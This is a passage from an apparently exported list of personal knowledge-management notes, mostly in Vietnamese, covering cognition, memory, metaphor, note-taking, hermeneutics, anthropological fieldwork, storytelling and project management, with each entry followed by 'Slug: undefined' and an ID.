thấy chưa được bảo vệ thoả đáng +• Slug: undefined +• ID: EN +Tự đặt ra các câu hỏi ngớ ngẩn chính là cách bạn học lại những gì bạn tưởng là mình đã hiểu rõ +• Slug: undefined +• ID: EO +Đào tạo (teaching, training) là để lấy kiến thức, quy trình, còn huấn luyện (coach) là để ra sản phẩm +• Slug: undefined +• ID: EP +❓Tác giả của một bài viết không bao giờ vét cạn được mọi từ khoá mà người đọc có thể sẽ nhập vào máy tìm kiếm để được gợi ý tới bài viết đó +• Slug: undefined +• ID: EQ +Bộ não được thiết kế để loại bỏ mối nguy hiểm ngay bây giờ, không phải trong tương lai +• Slug: undefined +• ID: ER +Có những vấn đề lúc cần nói ra thì không không nghĩ ra nhưng vẫn cảm thấy chưa vét cạn +• Slug: undefined +• ID: ES +Có sự chênh lệch về sự thoải mái trong việc hỏi và việc trả lời +• Slug: undefined +• ID: ET +Framework thường dùng cho nhiều tình huống khác nhau, trong khi model thường dùng cho một tình huống cụ thể +• Slug: undefined +• ID: EU +Hiểu biết sâu làm ta thấy khoái cảm +• Slug: undefined +• ID: EV +Hot cognition và cold cognition +• Slug: undefined +• ID: EW +Hệ thống 1 dựa vào trí nhớ dài hạn. Hệ thống 2 dựa vào trí nhớ ngắn hạn +• Slug: undefined +• ID: EX +Con người cố gắng nhìn ra mẫu hình, kể cả khi đó chỉ là sự ngẫu nhiên +• Slug: undefined +• ID: EY +Con người thường cố gắng tìm ra mẫu hình, kể cả khi nó không có ở đó +• Slug: undefined +• ID: EZ +Cờ vua trông như là tư duy logic, nhưng thật ra chỉ là nhìn thấy mẫu hình +• Slug: undefined +• ID: Ea +Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình +• Slug: undefined +• ID: Eb +Trực giác là việc nhìn ra mẫu hình không hơn không kém +• Slug: undefined +• ID: Ec +Trực giác là việc đi tới kết luận mà không thông qua suy luận +• Slug: undefined +• ID: Ed +Việc nhìn ra mẫu hình cần những kiến thức có cấu trúc được lưu trong trí nhớ dài hạn +• Slug: undefined +• ID: Ee +Não con người thay đổi rất chậm +• Slug: undefined +• ID: Ef +Não cần thời gian để kết nối các ý tưởng lại với nhau +• Slug: undefined +• ID: Eg +Bất hoà nhận thức giúp chúng ta hiểu sâu sắc hơn +• Slug: undefined +• ID: Eh +Càng mất nhiều ta càng học nhiều +• Slug: undefined +• ID: Ei +Các nghịch lý tạo ra bất hoà nhận thức +• Slug: undefined +• ID: Ej +Cảm xúc không chỉ khiến ta nhớ tốt hơn, mà còn điều hướng những suy nghĩ tự động +• Slug: undefined +• ID: Ek +Khoảnh khắc loé sáng ý tưởng thường đến vào những lúc ta không tập trung chú ý +• Slug: undefined +• ID: El +Sự dễ hiểu làm tăng sự đáng tin, dù có thể nó không hợp lý +• Slug: undefined +• ID: Em +Sự lập luận dùng để thống nhất, nhưng lại có sự thờ ơ với lập luận +• Slug: undefined +• ID: En +Sự lập luận không được tiến hoá để có quyết định tốt hơn, mà để có quyết định nhiều người đồng ý nhất +• Slug: undefined +• ID: Eo +Sự suy luận (reasoning) là việc đưa ra những thông tin mới từ những thông tin đã có một cách có ý thức +• Slug: undefined +• ID: Ep +Sự đau chi phối sự diễn giải của ta +• Slug: undefined +• ID: Eq +Ta không nhớ những điều mình đã làm người khác đau bằng nhớ những điều người khác làm mình đau +• Slug: undefined +• ID: Er +Thay vì suy luận để đi tới kết luận, chúng ta thường dùng kết luận để suy luận +• Slug: undefined +• ID: Es +Trong hoạt động nhóm, thiên kiến xác nhận giúp giảm gánh nặng suy nghĩ mà vẫn đảm bảo mọi lập luận được trình bày và cân nhắc +• Slug: undefined +• ID: Et +Truyện cười thể hiện những nghịch lý +• Slug: undefined +• ID: Eu +Việc con người không thường xuyên suy luận tốt dường như là một sự sắp đặt có chủ ý của tiến hoá +• Slug: undefined +• ID: Ev +Đuối lý, thuyết phục hoàn toàn, và né tránh là những thứ khác nhau +• Slug: undefined +• ID: Ew +Sự trì hoãn giúp giảm những hệ quả không lường trước được +• Slug: undefined +• ID: Ex +Tiếng Việt rất không thuận lợi cho việc tìm hiểu các mức độ nhận thức +• Slug: undefined +• ID: Ey +Ký ức của chúng ta chủ yếu là những mẩu 3 giây. Hầu như tất cả các mẩu này biến mất không chút dấu vết +• Slug: undefined +• ID: Ez +Nhiều khi ta nhớ nơi lưu trữ thông tin hơn là chính thông tin đó +• Slug: undefined +• ID: E- +Trí nhớ tình tiết và thủ tục thường để não nhớ. Trí nhớ ngữ nghĩa và tương lai thường để cho não ngoài +• Slug: undefined +• ID: E_ +Đường cong trí nhớ, Lặp lại theo khoảng (spaced repetition) +• Slug: undefined +• ID: F0 +Việc trì hoãn giúp đánh giá được mức độ quan trong +• Slug: undefined +• ID: F1 +Chúng ta sống bằng ẩn dụ +• Slug: undefined +• ID: F2 +Các ẩn dụ tri nhận cơ bản dựa trên mối tương quan của cơ thể và xung quanh +• Slug: undefined +• ID: F3 +Di sản nhị nguyên của Descartes vẫn còn được sử dụng +• Slug: undefined +• ID: F4 +Ẩn dụ là nền tảng của mọi suy nghĩ và lập luận +• Slug: undefined +• ID: F5 +Ẩn dụ tô đậm những tính chất chung và ẩn đi những tính chất không chung +• Slug: undefined +• ID: F6 +Ẩn dụ được nhúng trong các neuron não. Chúng tồn tại dưới dạng vật lý +• Slug: undefined +• ID: F7 +Chúng ta không quen thuộc với luỹ thừa +• Slug: undefined +• ID: F8 +Con người có khả năng tự nhận thức ra lỗi tư duy của mình, dù khả năng đó không hoàn hảo +• Slug: undefined +• ID: F9 +Các công ty ít có lợi trong việc đầu tư nghiên cứu môi trường tư duy +• Slug: undefined +• ID: FA +Công cụ không chỉ là cách để đạt mục tiêu nhanh hơn, mà còn thay đổi tư duy của chúng ta +• Slug: undefined +• ID: FB +Công cụ là sự nối dài của cơ thể +• Slug: undefined +• ID: FC +Công cụ nghĩ giúp ta có thể nghĩ tới những suy nghĩ khó nghĩ và bất khả nghĩ +• Slug: undefined +• ID: FD +Những công cụ nghĩ tốt đa phần là sản phẩm phụ của những nỗ lực giải quyết những vấn đề nghiêm túc +• Slug: undefined +• ID: FE +Xây dựng hệ thống luôn là nhiệm vụ phụ +• Slug: undefined +• ID: FF +Đồ thị không phụ thuộc vào hướng. Bản đồ phụ thuộc vào hướng +• Slug: undefined +• ID: FG +Explorable explanation phù hợp cho các trình bày liên quan chặt chẽ đến toán hơn +• Slug: undefined +• ID: FH +Explorable explanation thiên về toán, còn data journalism thiên về thống kê dữ liệu +• Slug: undefined +• ID: FI +Hmm…Because…So now… +• Slug: undefined +• ID: FJ +Hành vi và phản ứng là những thứ native trong môi trường máy tính +• Slug: undefined +• ID: FK +Môi trường nghĩ là nơi ta có thể có những loại suy nghĩ mới, những suy nghĩ mà trước đây ta không thể hình thành +• Slug: undefined +• ID: FL +Môi trường nghĩ, nhận thức tăng cường +• Slug: undefined +• ID: FM +Các bảng tin làm mình cảm giác ai cũng thấy giống mình +• Slug: undefined +• ID: FN +Một môi trường nghĩ thực sự mới là nơi chỉ việc dùng nó thôi sẽ thay đổi cả cách nghĩ của toàn bộ một nền văn minh +• Slug: undefined +• ID: FO +Nghĩ về sự nghĩ làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm +• Slug: undefined +• ID: FP +Powerful medium enables powerful representations +• Slug: undefined +• ID: FQ +Thiết kế trải nghiệm người dùng +• Slug: undefined +• ID: FR +Thật khó để nghe thấy sự nghĩ của chính mình +• Slug: undefined +• ID: FS +Việc dùng game hoá để giải thích có một bất lợi là các công ty làm game tập trung vào việc tạo ra game có tính giải trí hơn là việc giải thích +• Slug: undefined +• ID: FT +Việc đơn giản hoá một khái niệm phức tạp để giải thích cho một đứa trẻ hiểu không làm cho đứa trẻ đó hiểu được hết khái niệm đó, nhưng làm cho bản thân người giải thích hiểu được thêm về khái niệm +• Slug: undefined +• ID: FU +Dùng thuật ngữ chính xác hơn dùng từ bình dân, nhưng ngay cả chuyên gia cũng không phàn nàn về việc dùng từ bình dân, miễn là việc đó không tạo ra sự mơ hồ +• Slug: undefined +• ID: FV +Collecting material feels more useful than it usually is +• Slug: undefined +• ID: FW +Cần những cách lưu dữ liệu khác nhau cho việc họp, nghiên cứu và quản lý dự án +• Slug: undefined +• ID: FX +Evergreen giúp tăng khả năng nhìn thấy được mâu thuẫn +• Slug: undefined +• ID: FY +Evergreen notes biến ý tưởng trở thành đối tượng để mình thao tác +• Slug: undefined +• ID: FZ +Ghi chép tay creates a tactile information recall +• Slug: undefined +• ID: Fa +Ghi chép thứ mình nhớ kém +• Slug: undefined +• ID: Fb +Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng +• Slug: undefined +• ID: Fc +Khu vườn số luôn phát triển và thay đổi. Nó không bao giờ có trạng thái xong +• Slug: undefined +• ID: Fd +Ta thường không sẵn sàng để đọc một tài liệu khi ta mới thấy nó +• Slug: undefined +• ID: Fe +Tiếng Anh càng làm mình muốn đọc lướt hơn +• Slug: undefined +• ID: Ff +Tóm tắt nội dung bài giảng, dùng bút đánh dấu đoạn văn bản quan trọng khi đọc sách, đọc đi đọc lại một chương sách hoá ra lại là những cách không mang lại mấy hiệu quả về ghi nhớ +• Slug: undefined +• ID: Fg +Việc thu thập tài nguyên tạo cảm giác hữu ích hơn là thực sự hữu ích +• Slug: undefined +• ID: Fh +Ý tưởng nếu không ghi lại ngay sẽ quên rất nhanh +• Slug: undefined +• ID: Fi +Đọc lướt không giúp ta tiếp thu được gì cả +• Slug: undefined +• ID: Fj +Giấy và bút không thể hiện hành vi của hệ thống đang được nghiên cứu +• Slug: undefined +• ID: Fk +In nghiêng câu trích dẫn thay vì để vào trong ngoặc kép làm câu văn tự nhiên hơn +• Slug: undefined +• ID: Fl +Một văn bản không nên chỉ là thứ để truyền đạt thông tin hay hiểu biết một chiều và thụ động, mà còn nên trở thành một sân chơi cho người đọc khám phá +• Slug: undefined +• ID: Fm +Một văn bản không phải chỉ để truyền đạt thông tin hay hiểu biết, mà còn nên trở thành một sân chơi cho người đọc khám phá +• Slug: undefined +• ID: Fn +Những câu trả lời luôn giả định người hỏi hiểu trước một vài khái niệm +• Slug: undefined +• ID: Fo +Sách và bài giảng là những môi trường được thiết kế như thể người học hiểu hết hoàn toàn trong một lần tiếp thu, kể cả khi tác giả và giảng viên cũng không thực sự nghĩ vậy +• Slug: undefined +• ID: Fp +Sự phát minh của việc viết phát minh ra việc lập luận +• Slug: undefined +• ID: Fq +Sự phát minh ra ký hiệu phát minh ra toán học hiện đại +• Slug: undefined +• ID: Fr +Ta hiểu một đoạn 100 chữ nếu có không quá 3 từ không biết +• Slug: undefined +• ID: Fs +Ta không tận dụng hết được môi trường máy tính khi chỉ bắt chước môi trường giấy +• Slug: undefined +• ID: Ft +Tinh túy của một cuốn sách chính là mục lục của nó +• Slug: undefined +• ID: Fu +Viết cho phép ta nghĩ về sự nghĩ +• Slug: undefined +• ID: Fv +Viết làm suy nghĩ không còn là vô hình +• Slug: undefined +• ID: Fw +Việc rút gọn cả bài thành câu tóm tắt chỉ có tác dụng khi mình hiểu dược những khái niệm quan trọng trong bài +• Slug: undefined +• ID: Fx +Đọc một bài viết sâu làm ta biết mình cần phải làm gì nhiều hơn là đọc một bài viết nông +• Slug: undefined +• ID: Fy +Đọc mục lục một cuốn sách thì đơn giản, nhưng có thể truy xuất được điều mình cần và vận dụng nó một cách hiệu quả thì phải đọc cả cuốn sách +• Slug: undefined +• ID: Fz +Đồ thị giúp ta thấy được mẫu hình +• Slug: undefined +• ID: F- +❓Môi trường nghĩ giúp ta hiểu được những thứ phi tuyến bằng việc tuyến tính hoá nó, còn công nghệ là thứ khiến ta làm được những thứ phi tuyến kể cả khi mình không thoát khỏi sự tuyến tính +• Slug: undefined +• ID: F_ +Nghĩ về việc nghĩ +• Slug: undefined +• ID: G0 +Dịch thoát giúp người nghe không chướng tai, nhưng làm mất cơ hội để họ thấy sự khác biệt trong cách tư duy ở nguyên ngữ +• Slug: undefined +• ID: G1 +Luyện tiếng Anh +• Slug: undefined +• ID: G2 +Để dịch một khái niệm, hãy vét cạn các nét nghĩa, các cách dùng, các cách hiểu về nó, rồi tìm những từ chứa đựng được càng nhiều nét nghĩa càng tốt +• Slug: undefined +• ID: G3 +Quy trình xử lý dữ liệu cho PKM và phát triển sản phẩm là giống nhau, nhưng từ dữ liệu ra insight rồi làm gì với insight đó là khác nhau +• Slug: undefined +• ID: G4 +Ta cần lý do để người khác muốn đáp ứng nhu cầu của ta +• Slug: undefined +• ID: G5 +Khi hành động của một người được tạo bởi thiên kiến, ta thường nói là nó phi lý. Khi một đồ vật được tạo bởi thiên kiến, ta thường bảo rằng nó trung lập +• Slug: undefined +• ID: G6 +Khi sử dụng công nghệ, ta không nghĩ là nó sẽ thay đổi bản thân mình +• Slug: undefined +• ID: G7 +Một dụng cụ có sự lý tính rất rõ ràng +• Slug: undefined +• ID: G8 +Triết học công nghệ +• Slug: undefined +• ID: G9 +Trong khi khoa học thường đi liền với công nghệ, triết học khoa học thường nói về chân lý, còn triết học công nghệ thường nói về đạo đức +• Slug: undefined +• ID: GA +Tìm hiểu lý do làm nhức đầu +• Slug: undefined +• ID: GB +❓Bản đồ là cách để ta biết mình cần gì khi còn chưa cảm nhận được thứ mình cần là gì +• Slug: undefined +• ID: GC +❓Essence có phải là sự trừu tượng hoá không? +• Slug: undefined +• ID: GD +Có những thứ mà kể cả phỏng vấn cũng không dự đoán được +• Slug: undefined +• ID: GE +Chú giải ban đầu là để hiểu lời của thượng đế, nhưng sau đó lại biến thành người có góc nhìn của thượng đế +• Slug: undefined +• ID: GF +Diễn giải văn bản không phải là sự đối thoại do nó không phụ thuộc vào việc có mặt của người nói +• Slug: undefined +• ID: GG +Hermes vốn chỉ là người đưa thư chứ không giải thích, diễn giải gì cả +• Slug: undefined +• ID: GH +Khi người quan sát có sự kết nối với nhân vật nào, thì những nhân vật khác sẽ trở thành nền cho nhân vật đó +• Slug: undefined +• ID: GI +Khi người quan sát có sự kết nối với nhân vật nào, thì những nhân vật khác sẽ +• Slug: undefined +• ID: GJ +Khi nhà nghiên cứu chú giải văn bản, họ kiến tạo ra đồng tác giả cho mình +• Slug: undefined +• ID: GK +Không giống như diễn ngôn, văn bản có thể dịch chuyển được +• Slug: undefined +• ID: GL +Mỗi xã hội chứa đựng những cách diễn giải của riêng nó. Công việc của nhà nhân học là học cách bước vào những cách diễn giải đó +• Slug: undefined +• ID: GM +Người làm nhân học kết nối với lý thuyết nhiều hơn, còn nhà báo tường thuật sự kiện nhiều hơn +• Slug: undefined +• ID: GN +Người đọc là người chú giải +• Slug: undefined +• ID: GO +Những từ sử dụng trong viết lách điền dã nhân học không thể được coi là một độc thoại +• Slug: undefined +• ID: GP +Một phần quan trọng của sự kiến tạo cuộc đá gà thành một văn bản là một quá trình hội thoại và đối mặt với một số người Bali chứ không phải là việc đọc và diễn giải văn hóa đằng sau lưng họ +• Slug: undefined +• ID: GQ +Sự kiểm soát của người bản xứ đối với những kiến thức có được trong quá trình thực địa là khá đáng kể, và thậm chí là có tính quyết định +• Slug: undefined +• ID: GR +Thông diễn học bắt nguồn từ việc chú giải kinh thánh +• Slug: undefined +• ID: GS +Tính một chiều của dân học diễn giải nằm ở chỗ chỉ diễn giải văn hóa bản địa chứ không diễn giải văn hóa của nhà nghiên cứu +• Slug: undefined +• ID: GT +Việc đọc là sự gặp gỡ, giao thoa của thế giới của văn bản và thế giới của người đọc +• Slug: undefined +• ID: GU +Văn hoá là một tập hợp các văn bản +• Slug: undefined +• ID: GV +Để có thể diễn giải thì việc tiên quyết là phải văn bản hoá, nghĩa là tách những hành vi, câu nói, niềm tin, lễ nghi, truyền thống, v.v. ra khỏi diễn ngôn +• Slug: undefined +• ID: GW +Khi nhà nghiên cứu xem mình là người đọc và chú giải văn bản, họ bóc tách các lớp để tạo ra một văn bản mới. Khi họ xem mình là đưa thư, họ kết nối những văn bản để tạo ra văn bản mới +• Slug: undefined +• ID: GX +Trải nghiệm, diễn giải, đối thoại, đa thanh là những mô thức về tính uy quyền +• Slug: undefined +• ID: GY +Uy quyền diễn giải loại bỏ các quá trình đối thoại. Uy quyền đối thoại hoàn toàn che dấu đi tiến trình văn bản hóa +• Slug: undefined +• ID: GZ +Biểu tượng là hệ quả của sự nội tâm hoá +• Slug: undefined +• ID: Ga +Không trực tiếp nói đồ vật được dùng để làm gì, mà mô tả sao cho người đọc tự liên hệ được tới chức năng của nó +• Slug: undefined +• ID: Gb +Kể về bản thân cho người khác vừa là sự kết nối những với tổn thương của mình, vừa là một lần tự sát +• Slug: undefined +• ID: Gc +Mỗi một đồ vật, hành vi đều là ẩn dụ của một biểu tượng văn hoá +• Slug: undefined +• ID: Gd +Phía sau các tình tiết hiển hiện ở bên ngoài tiềm ẩn các ý nghĩa phía sau +• Slug: undefined +• ID: Ge +Tình tiết là các sự kiện cá nhân +• Slug: undefined +• ID: Gf +Việc phân tích văn hoá không phải là một khoa học thực nghiệm tìm kiếm quy luật, mà là một khoa học lý giải ý nghĩa +• Slug: undefined +• ID: Gg +Văn bản là nơi ta đọc ra các ý nghĩa và diễn giải nó +• Slug: undefined +• ID: Gh +Văn hoá có liên quan chặt chẽ đến biểu tượng +• Slug: undefined +• ID: Gi +Cộng đồng là tác giả của nghiên cứu, nhà nhân học chỉ là người mang thông điệp của cộng đồng đi đối thoại +• Slug: undefined +• ID: Gj +Một bài viết là sự tương tác giữa rất nhiều tác giả, dù có thể ta không nhìn thấy điều đó một cách rõ ràng +• Slug: undefined +• ID: Gk +Từ chống chủ quan đến liên chủ thể +• Slug: undefined +• ID: Gl +❓Sự khác biệt giữa việc đưa thư và chăm trích dẫn là gì +• Slug: undefined +• ID: Gm +❓Việc quan sát tham dự biến việc diễn giải trở thành mô tả +• Slug: undefined +• ID: Gn +❓Wikipedia là góc nhìn thượng đế, nhưng nó lại là cơ chế để tất cả mọi người là đồng tác giả +• Slug: undefined +• ID: Go +Dân tộc học là nhân học văn hoá +• Slug: undefined +• ID: Gp +Dấn thân, quan sát và ghi chép là những chỉ báo cho thấy mức độ hoà nhập +• Slug: undefined +• ID: Gq +Dữ liệu nhỏ cũng có tính dự báo xu hướng giống như dữ liệu lớn +• Slug: undefined +• ID: Gr +Nhà nghiên cứu điền dã không thể và không nên cố tỏ ra chỉ là con ruồi đậu trên bức tường +• Slug: undefined +• ID: Gs +Nhân học cho ta cái nhìn sơ lược về những khả thể khác của con người +• Slug: undefined +• ID: Gt +Nhiều ngành học xem con người là kết quả của những thứ bên ngoài trong mối quan hệ nhân quả. Nhân học chỉ chú trọng đến việc nói rằng bạn có thể khác biệt, rằng bạn còn có thể là người khác +• Slug: undefined +• ID: Gu +Nhân học là triết học trong xã hội +• Slug: undefined +• ID: Gv +Nhân học +• Slug: undefined +• ID: Gw +Nhật ký điền dã +• Slug: undefined +• ID: Gx +Hoạt động trải nghiệm là việc tận dụng những gợi ý manh mối, dấu vết, cử chỉ, và cảm quan trước khi phát triển những diễn giải ổn định +• Slug: undefined +• ID: Gy +Quan sát tham dự cho nhà nghiên cứu uy quyền về trải nghiệm +• Slug: undefined +• ID: Gz +Quan sát tham dự không phải là khai thác thông tin +• Slug: undefined +• ID: G- +Quan sát tham dự là sự kết hợp giữa trải nghiệm cá nhân với cường độ cao và phân tích khoa học +• Slug: undefined +• ID: G_ +Quan sát tham dự đời sống xã hội chính là một quá trình thay đổi toàn bộ con người mình để trở thành thành viên của cộng đồng +• Slug: undefined +• ID: H0 +Sự sáng tạo mang tính trải nghiệm là một sản phẩm mang tính chủ quan, chứ không mang tính liên chủ thể hay dựa trên sự đối thoại +• Slug: undefined +• ID: H1 +❓Nhà nghiên cứu khi điền dã thì cũng đã có một mục tiêu nghiên cứu nào đó rồi. Nếu không phải khai thác thông tin thì sẽ không hoàn thành công việc được +• Slug: undefined +• ID: H2 +❓Quan sát tham dự có yêu cầu họ tập trung nói về một chủ đề nào đó không +• Slug: undefined +• ID: H3 +Quan điểm của các cá nhân +• Slug: undefined +• ID: H4 +Quá trình nghiên cứu nói chung là một sự thương thảo diễn ra liên tục +• Slug: undefined +• ID: H5 +Topic modelling trong NLP dùng cho máy và cần tập dữ liệu lớn. Còn thematic analysis trong nhân học thì dành cho người, nhấn mạnh vào yếu tố thị giác +• Slug: undefined +• ID: H6 +Cho độc giả xem, không kể lại +• Slug: undefined +• ID: H7 +Cái quan trọng của câu chuyện là tinh thần, thông điệp và sự kiện. Còn ngôn từ, cách biểu đạt chỉ là thứ cấp +• Slug: undefined +• ID: H8 +Câu chuyện cuộc đời có khả năng bị cảm xúc của nhân vật chi phối câu chuyện +• Slug: undefined +• ID: H9 +Kết nối dòng chảy cuộc đời của nhân vật với quãng đường xã hội +• Slug: undefined +• ID: HA +Một người trung niên kể về thời họ 6 tuổi khác với đứa bé 6 tuổi đó kể về mình +• Slug: undefined +• ID: HB +Những đau buồn của nhân vật tạo ra tình tiết +• Slug: undefined +• ID: HC +Niên biểu là để lên kế hoạch và nhớ các từ khoá quan trọng, còn khi viết chuyện thì viết theo từ khoá +• Slug: undefined +• ID: HD +Ta có thể hư cấu nội tâm nhân vật dựa trên dữ liệu +• Slug: undefined +• ID: HE +Việc chọn chủ đề phụ thuộc vào niên biểu và thông điệp +• Slug: undefined +• ID: HF +Việc hỏi quan điểm có thể gặp việc tránh né, hoặc câu trả lời bị theo tư duy của họ, hoặc không tạo đủ chất liệu cho việc kể chuyện +• Slug: undefined +• ID: HG +Điểm nhìn ngôi thứ nhất không hoá thân được vào các không gian, nhưng suy tư được vào chính thế giới nội tâm của mình +• Slug: undefined +• ID: HH +❓Mình có nhất thiết phải không thể hiện quan điểm của mình về nhân vật không +• Slug: undefined +• ID: HI +❓Ngôi thứ ba thực ra vẫn chỉ là ngôi thứ nhất mà thôi +• Slug: undefined +• ID: HJ +❓Nếu đã xuất bản rồi mà nhân vật muốn rút lại thì làm sao +• Slug: undefined +• ID: HK +Chỉ cần ghi những thứ để mình nhớ, và để người khác nhặt được cũng không hiểu gì +• Slug: undefined +• ID: HL +Các bước thực hiện điền dã +• Slug: undefined +• ID: HM +Hãy cài cắm các chi tiết +• Slug: undefined +• ID: HN +Hãy tham gia như một phần của cộng đồng chứ không phải thúc đẩy cộng đồng +• Slug: undefined +• ID: HO +Muốn cấu trúc hoá bối cảnh thì cần phải có tiêu điểm +• Slug: undefined +• ID: HP +Nhà nghiên cứu luôn trong tâm thế có thể sẽ rời đi +• Slug: undefined +• ID: HQ +Nếu không tuân thủ việc không tác động dù chỉ là lời khuyên, thì cái kết quả nghiên cứu cũng có thể là cái mà mình tạo ra +• Slug: undefined +• ID: HR +Quá trình điền dã từ đầu đến cuối luôn bị chi phối bởi việc viết lách +• Slug: undefined +• ID: HS +Quá tập trung vào tình tiết mà bỏ qua bối cảnh thì sẽ thành góc nhìn thượng đế +• Slug: undefined +• ID: HT +Trình thuật cuộc đời, câu chuyện cuộc đời, tiểu sử là giống nhau +• Slug: undefined +• ID: HU +❓Có đưa ghi chú của mình cho người mình nghiên cứu xem +• Slug: undefined +• ID: HV +❓Khi nào thì họ sẽ nói về những thứ họ thấy xấu hổ hoặc tội lỗi +• Slug: undefined +• ID: HW +❓Môi trường đô thị thì cũng không có điều kiện để làm chung với họ được +• Slug: undefined +• ID: HX +❓Một vài ví dụ hoặc nghiên cứu về sự ra quyết định can thiệp trong khi nghiên cứu +• Slug: undefined +• ID: HY +❓Nghe những gì họ nói thì chỉ là một chiều +• Slug: undefined +• ID: HZ +❓Người ta ngại không muốn từ chối thì mình có tiến tới ko +• Slug: undefined +• ID: Ha +❓Nếu họ bận mình chỉ có thể hẹn họ ra cà phê thì thời gian họ có thể dành cho mình cũng chỉ có thể là 1, 2 tiếng. Như vậy thì cũng đâu khác gì phỏng vấn +• Slug: undefined +• ID: Hb +❓Nếu trước khi xin làm nghiên cứu mình họ đã có sự không thoải mái với mình rồi thì sao +• Slug: undefined +• ID: Hc +❓Quá trình xây dựng sự tin tưởng như thế nào, khi mình không có cơ hội để làm giống như họ +• Slug: undefined +• ID: Hd +❓Sau khi nghiên cứu xong thì giúp đỡ, tác động cũng được mà +• Slug: undefined +• ID: He +❓Trường hợp va chạm thói quen, văn hoá, lối sống mà mình không biết nhưng cũng đủ gây ra sự khó chịu ở họ thì sao +• Slug: undefined +• ID: Hf +❓Để một quan sát có chất lượng thì cần bao nhiêu thời gian ở cùng cộng đồng +• Slug: undefined +• ID: Hg +Đối thoại thay vì phỏng vấn +• Slug: undefined +• ID: Hh +❓Khi nào thì một người sẽ cởi mở và thoải mái nói về những thứ họ không muốn nói +• Slug: undefined +• ID: Hi +❓Nhân văn chỉ quan tâm đến việc lưu trữ, hiểu dữ liệu và tạo ra câu chuyện hay +• Slug: undefined +• ID: Hj +Agile dành cho sản phẩm thay đổi nhanh, và tập trung vào tốc độ và sự linh hoạt. Lean dành cho sản phẩm thay đổi chậm, và tập trung vào việc giảm lãng phí +• Slug: undefined +• ID: Hk +Các công việc trong một dự án chủ yếu là các công việc khai phá. Các công việc trong một chiến dịch chủ yếu là các công việc khai thác +• Slug: undefined +• ID: Hl +Công việc chính là giải pháp +• Slug: undefined +• ID: Hm +Công việc khai phá chính là quản lý kiến thức +• Slug: undefined +• ID: Hn +Công việc khai phá và công việc khai thác +• Slug: undefined +• ID: Ho +Công việc sẽ được gắn ở khắp nơi +• Slug: undefined +• ID: Hp +Công việc và cuộc sống không thể tách rời nhau +• Slug: undefined +• ID: Hq +Cần nghĩ về công việc như là một cách để kiểm định giả thiết, chứ không phải chỉ để hoàn thành +• Slug: undefined +• ID: Hr +Dự án chủ yếu là các công việc khám phá. Chương trình chủ yếu là các công việc khai phá +• Slug: undefined +• ID: Hs +Insight through making +• Slug: undefined +• ID: Ht +Nhiều khi vấn đề chỉ được phát hiện ra khi đến khâu triển khai ý tưởng +• Slug: undefined +• ID: Hu +Quản lý cuộc sống chính là quản lý dự án +• Slug: undefined +• ID: Hv +Sau 2 tuần nên cập nhật những cái mới +• Slug: undefined +• ID: Hw +Bảng quan trọng – khẩn cấp +• Slug: undefined +• ID: Hx +Bỏ công đi học lập trình thì không đáng, nhưng không biết thì sẽ rất lệ thuộc vào người khác +• Slug: undefined +• ID: Hy +Có người giới thiệu về vấn đề có lẽ là cách duy nhất để làm được những thứ mình muốn làm nhưng không khẩn cấp +• Slug: undefined +• ID: Hz +Có những cái ta cần làm trước khi ta thấy cần làm +• Slug: undefined +• ID: H- +Có những thứ ta biết là cần thiết nhưng không thể thấy thú vị nổi, thậm chí không thể đồng cảm nổi +• Slug: undefined +• ID: H_ +Lý do mọi người hay gặp nước đến chân mới nhảy, không giải quyết chuyện quan trọng khi vấn đề còn nhỏ là vì ta không có đầu óc để nghĩ đến nó +• Slug: undefined +• ID: I0 +Muốn thấy được những vấn đề lớn cần sự thong thả +• Slug: undefined +• ID: I1 +Nhiều khi không chịu đi bán vì việc code tiếp sẽ có lợi hơn khi sản phẩm rồi sẽ cần phải code tiếp +• Slug: undefined +• ID: I2 +Số lượng vấn đề tìm ra trong 1 buổi có thể nhiều hơn số lượng vấn đề có thể giải quyết trong 1 tháng +• Slug: undefined +• ID: I3 +Việc nghĩ về sản phẩm lôi cuốn hơn việc nghĩ về thành quả rất nhiều +• Slug: undefined +• ID: I4 +Vấn đề ngắn hạn hay dài hạn không quan trọng, quan trọng là làm cái này mà phải nghĩ về cái khác thì sẽ nhức đầu +• Slug: undefined +• ID: I5 +When someone's taking time to do something right in the present, they're a perfectionist with no ability to prioritize, whereas when someone took time to do something right in the past, they're a master artisan of great foresight +• Slug: undefined +• ID: I6 +Ý tưởng sinh ra không theo độ khẩn cấp +• Slug: undefined +• ID: I7 +Điều quan trọng thì thường hiếm khi khẩn cấp, và điều khẩn cấp thì thường hiếm khi quan trọng +• Slug: undefined +• ID: I8 +Sự khám phá thực ra chỉ là lấy mẫu chứ không phải khám phá kiến thức +• Slug: undefined +• ID: I9 +Ta không lường trước được những công việc mình cần làm là gì trừ phi ta đã từng làm nó rồi +• Slug: undefined +• ID: IA +Thành quả mong muốn và giả định của một công việc tìm hiểu một vấn đề nào đó là chính nó +• Slug: undefined +• ID: IB +Các cấp trong tổ chức nên nói chuyện với nhau bằng thành quả +• Slug: undefined +• ID: IC +Dự án là sản phẩm +• Slug: undefined +• ID: ID +Giải pháp gợi ý chính là thành phẩm +• Slug: undefined +• ID: IE +Mọi thành quả mong muốn đều chứa trong mình những giả định +• Slug: undefined +• ID: IF +Một sản phẩm được tạo nên bởi nhiều thành phẩm. Thứ ta gọi là sản phẩm thành phần, hoặc sản phẩm nhỏ hơn, chính là thành phẩm +• Slug: undefined +• ID: IG +Một số thành phẩm sẽ có những thành quả mong muốn bên trong nó, nhưng thường chỉ là thành phẩm nhỏ hơn +• Slug: undefined +• ID: IH +Sản phẩm là kết quả của các công việc +• Slug: undefined +• ID: II +Sản phẩm là sự bồi tụ của các dòng hải lưu nhu cầu và kết tinh của kiến thức +• Slug: undefined +• ID: IJ +Sản phẩm là vùng đất +• Slug: undefined +• ID: IK +Sản phẩm là vật thể +• Slug: undefined +• ID: IL +Thành phẩm (output) là các kết quả trực tiếp của các công việc +• Slug: undefined +• ID: IM +Thành quả (outcome) là kết quả thu được do sự thay đổi về hành vi của người dùng khi tương tác với sản phẩm đã được cải tiến (hoặc sản phẩm mới) +• Slug: undefined +• ID: IN +Thành quả quan trọng hơn thành phẩm +• Slug: undefined +• ID: IO +Tiêu đề của thành quả mong muốn bắt đầu bằng người dùng +• Slug: undefined +• ID: IP +Tầm nhìn = thành quả lớn nhất +• Slug: undefined +• ID: IQ +Tầm nhìn là 